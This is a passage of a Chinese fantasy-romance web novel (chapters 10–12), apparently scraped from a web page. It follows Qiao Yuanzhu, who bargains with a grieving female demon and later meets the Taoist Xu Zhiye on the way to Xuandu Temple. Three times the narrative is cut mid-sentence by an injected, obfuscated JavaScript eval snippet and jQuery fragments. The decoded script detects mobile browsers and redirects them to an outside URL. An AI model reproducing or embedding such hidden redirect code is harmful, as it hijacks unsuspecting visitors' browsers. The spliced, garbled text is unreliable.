徐枳也拧紧了眉。这回他绝不会看错,这小娘子眉心分明有法印,且这法印当中,虽微弱难以察觉,但确有妖气溢出。
有意思,天下妖邪,还没见过敢光明正大在他面前卖弄的,这小娘子莫不是没听过他的名号,要不,就是没心没肺、脑筋缺根弦儿。
可若是妖,救他做什么呢?
徐枳也擦了擦嘴角的血,挑眉静待。
乔苑珠并不知晓徐枳也心中的小九九,她如今关心的,那便是眼前这位道长绝不能死她前头。她关切地将徐枳也扶起身,询问了两句是否有碍,待他说没事这才转身捏诀收了金蟒,与女妖对峙。
“你可是在寻你的孩儿?”她开门见山。
女妖一门心思在泄愤上,听闻“孩儿”两个字,她眉眼之间不着痕迹地动了动,停了手中的术法,歪了歪头,娇声道:“你是谁?我又为何要同你多说?”
“你不说,那我就随便猜猜,”乔苑珠指向院子东侧那一排尸体,道:“我猜,就是那群恶徒抢走了你的孩子,还将你的孩子丢在了一个你怎么也找不到的地方,要我说,这群歹徒也确实是该死。”
妖要找一个与自己关联的东西其实容易得很,可是既知妖邪有此异术,人们或是为了自保,或是为了一些别的企图,便开始研究怎么对抗这个异术。
先前的石洞门口有几处火堆一样的残迹,她本来没做过多的怀疑,眼下这个情形看来,那根本不是简单驱赶野兽的火堆,乃是驱邪避妖的术法,所以这女妖才寻儿不得。
10. 初见吾妻
女妖没有耐心听她多言,道:“你还是先操心操心你和那两个小道士的命。”
“人化作恶鬼只需要怨念,恶鬼修成妖身却难得很,需得人命做基,修炼过程之痛苦非是寻常人能够忍受,做到这种程度,你应当不是单纯的喜欢做妖吧?我猜你找你孩儿找得发了疯,修炼的苦痛恐怕不及思念之苦的万分之一!”
乔苑珠故意顿了许久,又道:“你就不想知道你孩儿究竟在哪儿?”
女妖眼皮动了动,噙着笑道:“你知道?”
“我当然知道,不仅如此,我还有一妙法,能助你召回你儿的魂魄,不过……”
“不过什么!?”女妖没什么耐心,甩手隔空向乔苑珠劈出一掌,掌风打到金光罩上顿时卸了力,化作清风。
乔苑珠也不恼,接着道:“你需得将你全身怨力交予我,以此作为交换,我便帮你将你孩儿召回来。”
“我凭什么信你?”女妖笑道:“你既已告知我,知晓我孩儿在何处,我大可先杀了两个小道士,再将你捉了,到时我有的是手段让你开口!”
乔苑珠踱了两步,心道这妖怪有七窍玲珑心,寻常法子根本唬不住,加之她修成妖身依旧,又长久为怨念所挟,如今的心思恐怕都是先杀之而后快。
她回头看了支着一条腿坐在地上的徐枳也,心思快速回转,昂首道:“你可知我身后小郎君是谁?”
女妖觉得有些莫名,嗤笑道:“是谁又如何?莫非你想告诉我他是你心尖儿上的人,求我下手之时先杀你,后杀他啊?”
女妖袅娜步到金光罩面前,指尖轻触上金光罩,沿着乔苑珠脸庞的轮廓往下抚摸,柔情似水地道:“世间男子皆是薄情郎,我瞧着你心生欢喜,何必为了一个男人与我作对。你若是帮我,我帮你杀了负心汉,往后你有什么想杀的人,皆可到此山上来寻我,我包你一生无忧。”
乔苑珠连退两步,那勾人的鲜红利爪着实让她有些害怕。她面上苦笑,这女妖已是魔障缠身,对世间男子皆是恨之入骨,眼下为了套得她孩儿的下落,竟也使出昏招,把道长当作她的郎君,怕她重蹈覆辙,竟欲先杀之。想到此处她打了个冷颤,若不是她先开了金光罩,眼下恐怕女妖都掐上道长的脖子,做了替死鬼,还要背个“负心汉”的骂名。
她定了定心神,负手道:“你胡说些什么?这位道长才不是我,我郎君……”
她余光瞄了一眼徐枳也,叫他面色不变,心中有了些底,接着道:“他,乃是晏京城赫赫有名的玄法将军世子殿下!他的威名,你没听过也见识过了,不能说全身而退,倒也能叫你吃尽苦头,我亦通晓些异术,若我放出金蟒,与他联合斗你,你胜算有几成?”
“你也大可试试,能否破我这金光罩,你若一时半会儿破不了,我便让世子殿下传讯给他玄都观的师兄弟们带援军来。”
“你若是破了,我便把你孩儿的下落吞下肚,纵是我死了,也要让你永生永世不能与你孩儿相见!届时你再看,此番缠斗,究竟有何意义!?”
此前在翘茗楼听来世子殿下的段子,乔苑珠现学现用,想来玄都观和世子殿下的威名应当是人界妖界皆知的。
徐枳也听罢,觉得有趣,不知自己哪里暴露了身份。
女妖思索片刻,她把不准这小娘子说的话有几分真几分假,若是应了她说的,最后没能从她口中知道孩儿的下落,她死不要紧,孩儿却只能游离在这苍茫天地之间,届时她死不瞑目。可是,眼前的小娘子言辞恳切,绝不像是要骗她的模样。
她需得做个决断。
半晌,女妖终似下定决心般,道:“好!只要你能帮我寻得我儿,你要的我便都予了你,不过,你施法,需得从这破罩子里出来,如此,你我手中皆有把柄,倘若是你胆敢戏耍于我,我要将你连同你口中所说的世子殿下一并撕碎!”
“好!”
乔苑珠立马应下,没有半分犹疑,眼下这是最妥当的法子了,若是这女妖中途反悔,要杀她祭天,她这几遭为道长争取来的时间,也够他恢复了。
见乔苑珠欲走出金光罩,徐枳也心下一动,一把拉住她,道:“莫要轻信那妖物。”
他从怀中摸出一张符箓,往乔苑珠手中一塞,道:“此乃我亲炼的挫骨符,她若是对你不利,你拍到她身上,我来引符。”
乔苑珠将符纸接过藏在袖中,私觉这道长面冷心善,应当是个不错的人。她冲他使劲点点头,要叫他放心,这才走出了金光罩。
女妖并未设防,直待乔苑珠步至她跟前了也没做多余的动作,只让开了一块地,给她施法用,乔苑珠这才松了袖中攥紧符咒的手。捏诀取了女妖一滴心头血,点在她的眉心,双目紧闭,念动口诀:“小鬼听召!”
忽而她眉心金尘四溢,将整座破落院子都镀上了一层金衣,她边施法,边抬起一边眼皮看金光罩里头那位道长的反应,可惜即便有金尘,也实在难以看清他的脸,只得作罢,专心施法。
清风拂衣,金尘落定,忽听见一阵啼哭声,一团包裹着婴孩儿的白色光团从天而降。团中婴儿双目紧闭,手舞足蹈,啼哭不止,身形影影绰绰,透着青光。
女妖心中一恸,立时收敛周身妖气,疾步至婴儿身前。她将利爪收进皮肉里面,又用身上破烂的布衫仔细擦了手,这才将婴儿团子紧紧揽入怀中。
她喉头仿似哽住,难以说出话来,只颤抖着伸出手,轻抚上婴儿脸庞,顿时瘫坐在地,满脸皆是酸楚。
“我的儿……我的儿……”
女妖泪痕满面,道:“我本无意盘踞山中,作这面庞丑陋的妖兽,无奈世道不公,夫君叛我,匪徒辱我,纵使这般我既已丢掉性命也就罢了,可我苦寻我儿不得,日日怨愤才......”
女妖颓然,只将目光锁在婴儿面庞上,并不转头过去瞧上一眼那被摔晕死过去的男子,良久无言,唇边泛起一丝苦笑,幽幽道:“前尘往事,我与你,两不相欠了。”
她说的是那个男子。
女妖转向乔苑珠,道:“我说话算数,此身怨力,娘子若想要,可尽数拿去,造就的杀孽,道长亦可将妾身镇于山下,永不超生。生前孽债,皆是因果,但我儿无辜,只求两位高人,为我儿诵念超度法事,让他入了轮回道去。”
乔苑珠见此情形,早已将这女妖的事情给猜了个七八分,可是凡尘俗世里头情情爱爱之事,谁能说得清是她错还是他错,抑或是这世道的错。
她轻叹一口气,一些前尘往事如同洪水涌入胸中,她握紧胸口,没做多想,起身步至女妖身前,道:“你儿的身后事,我定帮你办妥,你此身怨力,我亦要收下,交易达成,两不相欠。”
也不忌讳徐枳也就立在身旁,乔苑珠心无旁骛,收了女妖的周身怨力,怨力在空中凝聚成一颗金灿灿的小珠子,落入瓷瓶中。
怨力已收,此时不走恐怕要横生枝节,加之不知为何,她从先前开始心就突突跳,刚才面对发狂的女妖时也没这么紧张过。不想过多纠缠,朝徐枳也欠身施礼,道:“劳烦道长,为此怨儿超度,小女子先行一步。”
听得道长二字,徐枳也心道这小娘子先前莫不是拿他的事在编排女妖,实则根本没探出他的身份?他起身拍了拍身上的土,扬了扬眉,也不答话,缓缓转身,趁着乔苑珠没设防,翻腕祭出一条绳索。
那绳索速度极快,直朝乔苑珠后脑勺打去,乔苑珠闻声已经躲避不及,刚错了一下身子,绳子还是结结实实打到了她脑门上,那力道大得惊人,促使她脚下一歪,直直往此前院中大战留下的深坑中倒去。
“你——!!”
乔苑珠只来得留下这一个字。
徐枳也心道不好,这绳索乃是乃师父所赠,谓之缚魂锁,玄都观《一百零八法宝》之一,凡是妖邪恶鬼化身,缚魂锁都能将其捆住,令其显出真身,届时可辩得眼前这小娘子究竟是人是妖。
可刚才他亲眼所见,缚魂锁只冲撞在了乔苑珠脑门上,便软软的掉在地下。
乔苑珠乃是活人无疑!
徐枳也立即朝洞中飞身,脚尖在洞壁上蹬了三五下,便追上了乔苑珠,伸手捉了她的一腕,轻巧一拉,将她揽在怀中,轻轻落地。
坑中漆黑一片,落针可闻,呼吸声连同心跳声都大得惊人。
此时乔苑珠紧靠在他肩头,因为害怕而呼吸急促,热气吹到他耳边实在是痒得厉害,双手将他抓得很紧,估摸着,今晨才熨烫过的道袍,此时应当是皱得厉害。
她是真的在害怕。
缚魂锁从没出过错,是人是妖它一断便知,若不是毁天灭地之大妖,那便只能是生人。先前已经见识
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071465|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过她的三招两式,结印手势虚浮,下盘不稳,恐怕随便捉一只三百来岁的小妖也能与她搏一搏,实在难以将她列入大妖的行列。
徐枳也思索着怎么向她道歉,忽而一团小火光亮起,飞快地冲他面门飞过来,不是乔苑珠的灵焰又是什么?
他来不及反应,慌忙抬手拂开焰火,火焰擦过袖口,竟燎出了一个洞,又听得“啊——!”一声,伴随着重物落地的声音。
呲的一声,徐枳也两指间燃起一张照明符,照见面前乔苑珠额头上顶了个硕大的红包,恨恨地坐在地上也不说话,只是气的脸红。
他心知自己理亏,上前蹲下,将随身的道牌摘下递给她,满脸真诚地道:“我姓章,单名一个献字,师从玄都观,今日是我鲁莽出手伤了小娘子,日后若是有需要,可来玄都观寻我,算我欠你一个人情。”
他不便暴露真实身份,加之他在观中道修的名字本就是章献,便算不得是骗她了。
乔苑珠此时正恨恨的盯着他看,仿佛要一口将他吃掉,这小娘子尖牙利嘴不肯轻易向他道明真相,需得想办法,引她上一回玄都观让师父瞧一瞧才行。
乔苑珠不知道他这些腹诽,抬头只见得眼前的小郎君脸上已没有方才的正色傲气,一脸真挚,看起来不像是要继续为难她。
秉持着在江湖上混,多一事不如少一事,多一个朋友便多个机会的宗旨,乔苑珠缓缓伸手接过道牌,对着火光瞧了瞧揣入怀中,一笑泯恩仇。
“小女子乔苑珠!”
-
吾亥山女妖的事,官府似乎并没有再往下细查。
从山上下来,乔苑珠便听说东街绸缎庄的老板吴辛得了疯病,在家中悬梁自尽了。
一个镇于山下,一个敲了阎罗殿的门。
当真是死生不复相见了。
-
她名唤南依,生前本是元州府尹家小姐,读书百卷,恣意明媚。
他名吴辛,家中经商,年少有为,俊伟豪迈。
那年盛夏微雨,满塘绿荷美不胜收。
她跑到桥头看荷,没注意脚下湿滑,差点摔进塘里。
一念间,她被人搀住,抬眼是一面如冠玉的郎君,笑意盈盈。
回去后,她朝思暮想成疾,她父亲心痛不过,做了主,请了媒人牵线。
请媒,下聘,订婚,成婚,一切是如此的水到渠成。
盖头被掀开的那晚,她心中忐忑又欢喜,入目的还是此前桥上那名少年,但眼角满是倦色,眼下一片青黑,丝毫没有那天的春风满面,意气风发。
她只道是他应酬了一天,有些累。
很快她发现,他不笑了。
只日日出门料理生意,夜夜醉酒回家。后来不知怎的生意不顺,便更不常见他回家。
她闲来看看账本,觉得十分有趣,想求他教她,未曾想,他断然拒绝。
每个人头上都有一片天。
那时候她觉得自己的天就是守好一方院子,铺好床,等郎君回家。
也不觉得奇怪,只隐约感觉,不似小时候畅快肆意。
相敬如宾两年余,她终于怀孕了。
几乎同时,她发现他有了外室,对着那个她,他日日展笑颜。
她书信给阿爷,才知道,当年他早就心有所属,她父亲用了些手段才促成的婚事。
她心如刀绞。
出事那夜,他对她温柔至极,言语间满是浓情蜜意。
他邀她喝酒,又带她去翠石桥赏月放灯。
她遥望悬在空中的圆月,闻着月下泥土的芬芳,觉得好像回到了那年夏天。
他亲手把她推下了桥。
桥缘起,桥缘灭。
“娘子!小心足下!”
“阿爷,我要嫁他!”
“我情愿当初没有遇见你!”
“孝长辈、敬夫君、顾子女,便是宫里的娘娘也是如此。”
“拳拳爱子之心,一步错,步步错。”
“便是你口中的阿爷害死了我的鸢儿!”
“你我,当死生不复相见!”
“夫妻两载,情意难生。究竟是当初我看走了眼,还是我误了你一生,也误了那位娘子一生?”
“旧债已偿,恋慕尽消。一别两宽,各生欢喜罢。”
11. 我欠了你的 次日,逐影斋。
次日,逐影斋。
“娘子,为何南依娘子要放过那负心汉?”阿青愤然道:“若是我,被人说死生不复相见,那便定要取了那人性命,与他一起下十八层地狱!气死他!”
乔苑珠看着阿青气的圆鼓鼓的脸,觉得可爱无比。
那夜妖邪来袭,直冲乔苑珠去,阿青乖乖地一直等在石洞中,终于等到乔苑珠放出的信号,寻着信号才与乔苑珠汇合。
她们之间约定好,若是捉妖过程中分开了,阿青要乖乖找个地方等她的信号。
乔苑珠伸手捏了捏阿青的脸蛋,笑道:“或许,南依娘子认为自己做错了事,做错了事的人再要责怪别人,也就立不住脚了。”
“那南依娘子不恨了吗?那在山中作怪这么久,又是为何?”阿青问。
“可能从一开始她就不恨任何人,不恨她夫君,也不恨那个抢了她夫君的娘子。她只是找不到孩子,着急罢了。”
阿青思索片刻,又追问道:“娘子你说,那负心汉爱过南依娘子吗?”
或许在她心里,也想为南依多争取一些。
“我不知道。”乔苑珠道。
闻言,阿青失望极了。
乔苑珠将思绪拉远。
彼时,乔苑珠还住在桑桑国的公主府,鲜衣美食,良仆环侍。
她记忆中,爹爹不苟言笑,劳形案牍,励精图治,不喜家长里短,儿女情长,对待自己和身边人都极为严苛。
好多次,她听见娘亲与爹爹争吵,大致是爹爹忘了娘亲的生辰,娘亲十分委屈,想找夫君倾诉,可爹爹言语间尽是冷漠。
她初生牛犊不怕虎,不怕爹爹管教,跟着娘亲一起吵,转头母亲便罚她禁闭十日,肃正教导她:“你爹爹公务繁忙,娘亲有什么事,与之国事相比,本就算不得什么大事,即便要吵,也是我们夫妻两个的事情。”
“你身为人子,当孝感恩报,怎可出言不逊?身为皇室子嗣,当严律己身,笃志好学,以百姓安居乐业为志。我平日教你的,你都忘了!晓晓,你可知错?”
有一回娘亲病了,烧得神志昏沉,床都下不了。她早晨托了府中管家送信给爹爹,告知娘亲得了很严重的病,要他速归。可她从早晨等到天黑,连爹爹的影子都没看到。她便日日守在娘亲床前,端茶送水,擦汗翻身。
一直待到十日后,娘亲的病终于好了,爹爹才姗姗来迟,到家没有过问娘亲一句,娘亲竟也不怨怼!
她心道这俩人当真是天生一对!只她气极了,连同爹爹娘亲一起,一个月不同他们说话!
她也想问,爹爹爱过娘亲吗?
一场大火,前尘皆作幻影,想问也无处问。
乔苑珠转头,瞧见漂浮在身边的小婴儿魂体,咿咿呀呀不知所云,揉了揉眉心,很是无语!
那日徐枳也道南依残害无辜路人,杀孽太重,用葫芦收了南依,罢了转身带着小侍从就要走,乔苑珠赶紧拦下,问小婴儿团子怎么办,徐枳也道:“乔娘子自己应下的,理应自行解决,然我欠了乔娘子人情,那便算是偿还了乔娘子的人情。”伸手讨要道牌。
乔苑珠心想这人情还的忒快,且十分不具备性价比!
她虽不懂道法,但寻常百姓谁家没有个白事,她也见过许多野道帮人超度的,难不成章道长根本就是给了人情又后悔了,想找个由头要回去?
小婴儿团子这事待她寻个道观便可,人情若是没了,后面遇到更加棘手的妖邪恐难渡过难关,想了想遂请徐枳也走了,带着这只团子暂时先回了逐影斋。
可小小婴儿团子,半夜啼哭不止,乔苑珠使出浑身解数也逗不得它笑,想了想,它笑了应该也蛮瘆人的,遂打开衣箱把团子塞进去,再用衣服盖住,才睡了个好觉。
话本上都说,修道之人皆菩萨心肠,常将收妖捉鬼、超度亡灵当做分内之事。怎的偏这章道长空长了一副漂亮躯壳,竟如此锱铢必较!道术修为非凡,却不用在正途!
想到此,乔苑珠咬牙切齿,若是有机会,定要找到他师父,告上他一状!
乔苑珠腾地起身,椅子朝后一仰,道:“阿青!上玄都观!”
“娘子想到办法找章道长给这小婴儿超度了?”阿青道。
“玄都观道长比比皆是,咱们不一定要麻烦章道长,或许他的师兄弟姐妹就能做这个法事。”乔苑珠东看西看道,像在找什么。
“那为何一定要去玄都观,别的道观不行吗?”阿青道。
“小团子来路不明,我如何跟道长们解释,我虽不想麻烦章道长,但我还有章道长的道牌,凭他的道牌,想来他的同门师兄弟姐妹们应是愿意帮忙的。”乔苑珠道。
阿青瞬间明白,见乔苑珠还在找,疑惑问道:“娘子在找什么?”
乔苑珠掐着腰,左看右看,翻翻找找,道:“得给小团子找块布包起来。”
-
晏京城白日热闹非凡,街上汉人胡商人头攒动。
两个头戴帏帽的女子穿梭其中,其中个头稍高的那位看起来颇像位名门小姐,一身浅粉白儒裙清丽脱俗,引得人纷纷侧目。另一位步履稳健,仔细一瞧,怀中竟还抱着个襁褓中的婴儿。
寻常人亡故,若是没入轮回道,滞留人间便属恶鬼,恶鬼魂体虚浮,肉眼一般是看不见的。
但若是沾染了妖气怨力,便会现出实体,看得见,摸的着,这小婴儿团子便是,只是身体透明,露出青光,悬浮于空中,白日里见了等同于青天白日撞了鬼,会令人觉得不吉利或是直接疯掉。
乔苑珠不想惹麻烦,出门前找了块柔软的布,把小团子包在里面。
忽然前头一阵骚动,原本逛着街的游人们自动分列两旁,街道两边商铺的人也齐齐涌上街头,争相着往前排挤,生怕错过了什么。
“明月仙居的花车来啦!”
“快来快来!”
“唉哟!别推别推!”
俩人难以在突然拥挤不堪的人群中再多走上一步,遂上了街边一处酒馆的二楼,临窗坐下,叫了小二上两盘小菜。
“敢问小哥,这外面发生了什么?怎么这么多人?”阿青问道。
“两位小娘子定是刚到晏京不久吧?咱们晏京城人都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071466|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道,官老爷们游街的场面,可没有明月仙居的花车游行好看。”小二笑道。
“明月仙居?”乔苑珠问到。
“明月仙居是咱们晏京城最大的青楼妓馆,听说里头的姑娘汉人胡人混血俱有,琴棋书画样样精通,个个都似那明月上玉蟾宫中的仙女,故此得名。”小二一遛说完,便去招呼其他桌的客人了。
“一个青楼,名字却取得像个隐世书院呢。”阿青道。
乔苑珠望向窗外,只见一幢三层楼高金雕玉饰缀满鲜花的小楼装载在一辆马车上,十二匹骏马并辔齐驱缓缓前行,马车后还跟着约莫百人,均是侍从模样。
小楼每一层楼的围栏上都饰满了颜色各异的鲜花,且每一层楼里面都有楚楚动人如仙姬般的女子。
最底下的一层由十二名乐伶坐镇,奏的是《霓裳羽衣》,最顶上一层则是十二名女侍,身着透纱衣,手提花篮,伴着乐曲向小楼四周翩翩撒下花瓣,中间一层最为别致,轩窗镂空,四角点着的孔雀纹灯笼在白日里竟还熠熠生辉,中央铺着纹样繁复的地毯,其上一名舞姬翩然起舞,足尖点地,旋转不停,衣炔翻飞。
若说何等场面能比得过明月仙居的花车,那还真是只有玉蟾宫的仙女会宴了。
乔苑珠盯着舞姬看了许久,只觉得那个身影无比熟悉,好像在哪儿见过。
阿青叫了两声,才回转神来,发现花车早已行远,人群也散了。
也许是认错了。
忽然听到隔壁桌有几人喝了酒闲聊。
听得一人道:“欸你看告示了吗?熊二要被问斩啦!”
“我早就看那个熊二不是个好人,成天好吃懒做,又好赌,没成想还敢下手杀人!当真是坏事做尽!”
“可怜他家中还有个五十有余的老母。”
“他老母可不是个省油的灯,那张嘴,干净的从她嘴里出来也脏的发臭,邻里街坊全被她骂尽了。”
“要我说,可怜的是尤三儿一家!对熊二家颇多照顾,那熊二心肝被狗吃了,竟然还给尤三儿老娘送毒药!”
“尤三儿的尸体咋找着的?”
“有个卖货郎从翠石桥底下经过,看见草沟里躺着什么东西,扒开一看是具腐烂的尸体,就报了官,官府着人找尤三娘子去认了尸。”
“那咋就抓了熊二?”
“那尸体手里攥着半片衣服料子,尤三娘子一看就知是熊二的,还给县令老爷呈上了她娘的药渣,熊二辩无可辨,当场被拿下了,判了个下月初十问斩!”
又听一人道:“新来的县令老爷莫不是个青天,前日才上任,昨日便将熊二铁血手腕地给判了,这个案子,熊二咬死了的,此前可还毫无线索呢。”
“先前的县令老爷呢?”
“被贬了呗!吾亥山山匪哪是他剿灭的!欺上瞒下,叫京兆府的老爷知晓了!”
“吾亥山真有妖邪作祟?!”
“千真万确!惊动了玄都观的道长才收了那妖物,听说还是个女妖!”
乔苑珠不愿多待,带着阿青出了酒馆,雇了一辆马车,朝玄都观去了。
12. 少夫少妻
玄都观建于京郊青城山上,马车行至山腰便没法再继续往前,剩下的路由四人并行的小道变成一人独行的栈道。
玄都观自五年前大战之后并不缺钱,却没有拓宽上山的栈道,传言是观主荆从怕众弟子忘了修行之路的艰难险阻,遂只把路拓宽到山腰,剩下的盘山路约莫还有一个时辰路程,无论谁来了,都得自己走。
辰时初出发,午时一刻至山腰。
乔苑珠下了马车,给了银子,叫车夫和阿青在路边等着,自己则抱着襁褓下了车徒步上山。
一路往上虽是羊肠小道,但路算好走,遇到几处岔路,均有碑石引路,虽雾气缭绕不甚看得见什么山中美景,却不至于迷路。
乔苑珠正埋头走着,突然有一稚子声音传来,问道:“小娘子可是要去玄都观?”
乔苑珠也没多想,道:“是。”
又走了两步,突然觉得不对劲。
这一路上并没有稚童同行,专心赶路也未对问询存疑,现下稚子的声音消失了,转头也不见路上前后同行的路人,前头的路莫名分出了五个方向。
根据乔苑珠的经验,她这是遇上邪物了。
妖邪分出的五个方向,雾气缭绕,藤蔓丛生,均不可见前路如何。
面对此等境况,寻常人都会认为选对则生,选错则死,便会认认真真分析起来该选哪条路,殊不知妖邪多狡黠,引诱你选路,你便跳进了它的陷阱,生路早已被斩断。
乔苑珠不多做停留,转头便朝来路去!
这妖物,看似给了你选择,实则蒙蔽你的心神,让你忘了还有来路,应了句佛语“凡所有相,皆是虚妄,若见诸相非相,即见如来”。
都不选!才是上策!乔苑珠拔腿开跑。
周遭事物开始扭曲,连脚下的路也凹凸不平,来时的路绝不是坦途一直向前的,如今乔苑珠却是奔在一条笔直的小道上。
突然数条树枝藤蔓从身后朝她袭来,乔苑珠聚出灵焰朝身后丢去,只听得呲啦的声音,藤蔓吃痛,朝后缩了缩。
妖物哪里肯放过她,又放出无数藤蔓,四面夹击!
突然,一条藤蔓缠住了她的脚脖子,忽地一收紧,乔苑珠瞬间失了平衡,眼看就要面朝前摔倒在地,可怀中还有小婴儿团子,乔苑珠只好勉力侧转过身,用手肘撑地堪堪将婴儿护住。
藤蔓又要袭来,乔苑珠难以抵挡,正准备放出金蟒,就听得利剑破空的声音。
藤蔓瞬间被斩成几段,一道符纸如同羽箭,腕力十足,擦着乔苑珠的脸呼啸而过,直直朝藤蔓的方向飞去,听得一道颇为好听的男声叱道:“妖物,还不速速现原形!?”
“章道长?!”乔苑珠讶道。
徐枳也从树上纵身跃下,搀起乔苑珠,又将襁褓抱起。
另一边,妖物像是受到了什么威胁,周遭幻境一一褪去,眼前又恢复了上山的路,一只形似青蛙头戴绿叶,约莫半米高的小妖物从林中步出,躲在大树下,颓丧个脸,探了个脑袋出来瞧。
徐枳也朝着另一个方向微嗔道:“出来!看看你干的好事!”
一身明黄道袍的少女扭捏着从树后挪出来,颤颤巍巍道:“小娘子,都是我的错,我的宝瓶今早不知怎的摔碎了,所以库库才逃出来了。
哦!库库就是那边树下的那只应声虫!我不是故意的,库库也不是故意的……”
少女身量娇小,唇红齿白,脸蛋跟阿青一样圆乎,白乎乎像嫩藕,糯米团子一样,眼见着猜不出来岁数,瞧着又心生欢喜,乔苑珠便把她当作小朋友来哄,道:“小道友叫什么名字?可喜欢糖葫芦?”
徐枳也挠了挠眉心,很是无语。阿萝早已不是小孩子,眼下十六有余,长了一张娃娃脸,半点没有童子的乖巧,顽劣捣蛋才是她的真面目。
不知如何摔碎是假,她翻上房顶捉雀,宝瓶滑落打碎是真。
打量着,乔苑珠手肘衫袖都已磨破,微微的有血渗出,他心中顿感些许愧疚。她还当真是倒霉,头回上山就遇上阿萝放跑了邪物,搞得一身狼狈。
低头瞧见怀中襁褓,果然他算得没错,包着的就是上次吾亥山的魂体。
上次因这小娘子私自替他应下事情,毫无半点边界感可言,想让她吃吃瘪,逗她要一换一,一个人情买一次超度,谁知她转身就走了,估摸着心里想的是他反悔了,想收回人情,两相权衡不划算,思量一番竟带着魂体走了。
魂体惯来难以应付,加之她定不想暴露妖术,哪里敢找其他道观的道长帮她施法,恐怕只会被人当作妖女送往官府,不出三日,她必定会再来找他。
“我叫阿萝!糖葫芦嘛,我的最爱乃是东街唐记家的!他家山楂又大又甜!”阿萝甜蜜的回忆着,舔了舔嘴角的口水。
见到乔苑珠的胳膊在流血,阿萝伸手在怀里掏了又掏,掏出一个绿釉瓷药瓶塞入乔苑珠手中,道:“娘子的手既是库库弄伤的,便是我的责任,这是我阿兄给我的伤药,用了伤好的极快,还不会留疤!”说罢看了看徐枳也眼色。
徐枳也不说话,只是笑。
这瓶药乃是西域进贡的双色雪莲炼制而成,双色雪莲是他向圣上求来的,本就是治伤的上等药材,为了加大效用,他还往里头加了好几味师父珍藏的名贵药材,又炼制九九八十一个时辰,哪里只是治伤不留疤,必要时刻堪可救命!
他这个妹妹淘气,成天不是这儿磕了就是那儿碰了,又喜欢和小妖怪打交道,指不定哪日惹上怨气深重的妖邪,若是他不在,这瓶药也可保她一命,如今却如此轻易拱手让人。
想着也算是自己教妹有方,又觉得阿萝能勇敢承认错误,心中实在畅快,也就懒得心疼药了。
“阿萝?”
乔苑珠只一瞬在脑袋里过了一下这个名字,只因阿萝管章道长叫阿兄而不是师兄,那必然就是亲兄妹一齐在一个观中修行了。只是若是亲兄妹,那阿萝就应该叫章萝,想到如此可爱的小姑娘取的名字有些过于随意了,怪不得介绍自己只愿说一个单名,只是这也不是她能管的事,且这么想已是十分冒昧,又道:“多谢阿萝,下次想吃糖葫芦可来城中西街逐影斋寻我。”
那瓶药乔苑珠也只道是普通伤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071467|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
药,便收下了。
“娘子上玄都观可是有什么要紧事?这山路如此难行,一年到头,上咱们道观的人十个手指头都能数清!我早就跟师父说了,这路要是不修,咱们观肯定得倒闭!”阿萝说话间上蹿下跳,完全在原地呆不住。
徐枳也眼风一扫,弯下腰,伸手在阿萝的脸上掐了掐,道:“先回观里去,再胡说,仔细我告诉师父你今日的行径,看他老人家会罚你抄几日经书。”
阿萝努了努嘴,撇开徐枳也的眼睛不看,只在乔苑珠身上打量,小娘子年纪可能也就比自己大个两三岁,生得清丽脱俗,笑意盈盈,看起来和她阿兄相识已久。
一位小娘子,一个小郎君,还有一个襁褓,从远处看,任谁看都俨然一幅少年夫妻携子出游图!
一个念头在她脑中萌生,她突然想到刚刚阿兄看到这位小娘子遇险,面上是十一分的心急!转头对自己颇凶,还要向师父告状,阿兄何时如此对自己过?
阿萝突然倒吸一口气,睁大双眼,双手捂嘴,不可思议的望向徐枳也,头也不回的跑了。
徐枳也很是迷惑,不知道这个小丫头片子又在打什么鬼主意。
“多谢道长啦。”乔苑珠笑吟吟地道,十分开朗明媚。
徐枳也扬眉:“乔娘子,又是你,你还真是招惹妖邪喜欢啊。”
乔苑珠道:“道长哪里的话,托了道长的福。”
徐枳也听明白了,方才的谢是真心的,这句话的咬牙切齿也是真心的,分明是在责怪他没有尽到修道之人的职责,如此恩怨分明,又或者说是人格割裂才对!
话又说回来,吾亥山一事,他头一次见如此有胆色的女子,对妖邪尚且如此守信,自认理亏:“待到观中,这小婴儿团子我替你收了。”
罢了又补充了一句:“不收你的人情!”
乔苑珠闻言喜极,一是此番折腾没有白费,二是章道长开窍了?微欠了欠身,道:“多谢章道长!只是既然魂体已经给道长了,想来施法我也帮不上忙,我便不去了吧。”说罢转身就要走。
徐枳也反手扣住乔苑珠的手腕,笑道:“谁说帮不上忙,乔娘子在,就是帮了大忙。”
-
“师父!师父!”
阿萝御剑八百里加急回到观中,见师父的书斋大门紧闭,大脚一踹,蹬门进去。
“噗——!!!”
一口热茶从荆从口中喷出,浸得花白的胡须都湿了。
“师父!”
